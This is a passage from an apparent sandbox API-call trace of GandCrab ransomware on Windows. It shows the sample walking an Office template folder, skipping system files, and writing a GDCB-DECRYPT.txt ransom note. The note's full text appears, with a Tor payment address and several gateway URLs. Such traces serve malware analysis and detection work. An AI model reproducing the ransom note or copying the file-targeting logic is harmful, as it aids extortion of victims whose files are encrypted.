returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0054.516] FindClose (in: hFindFile=0x5b86b0 | out: hFindFile=0x5b86b0) returned 1 [0054.516] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.516] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt") returned 121 [0054.516] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0054.518] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.518] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0054.519] CloseHandle (hObject=0x50c) returned 1 [0054.519] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.519] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned 104 [0054.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*" [0054.519] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5b86b0 [0054.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.519] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.519] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.519] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.519] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.519] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt" [0054.519] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.519] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0054.520] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0054.520] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0054.520] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.520] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.520] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2=".") returned 1 [0054.520] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="..") returned 1 [0054.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" [0054.520] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.520] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138 [0054.520] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138 [0054.520] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.520] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2=".") returned 1 [0054.520] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="..") returned 1 [0054.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" [0054.520] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.521] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137 [0054.521] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137 [0054.521] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.521] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.521] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2=".") returned 1 [0054.521] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="..") returned 1 [0054.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" [0054.521] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.521] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140 [0054.521] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140 [0054.521] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.521] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.521] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2=".") returned 1 [0054.521] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="..") returned 1 [0054.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" [0054.521] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.521] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140 [0054.521] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140 [0054.521] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.528] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.528] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2=".") returned 1 [0054.528] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="..") returned 1 [0054.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" [0054.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.528] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141 [0054.528] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141 [0054.528] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.528] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.528] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2=".") returned 1 [0054.528] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="..") returned 1 [0054.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" [0054.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.528] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140 [0054.528] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140 [0054.528] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.529] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.529] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2=".") returned 1 [0054.529] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="..") returned 1 [0054.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" [0054.529] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.529] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154 [0054.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154 [0054.529] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.529] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.529] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2=".") returned 1 [0054.529] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="..") returned 1 [0054.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" [0054.529] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.529] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139 [0054.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139 [0054.529] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.529] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.529] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2=".") returned 1 [0054.529] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="..") returned 1 [0054.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" [0054.529] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.530] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization 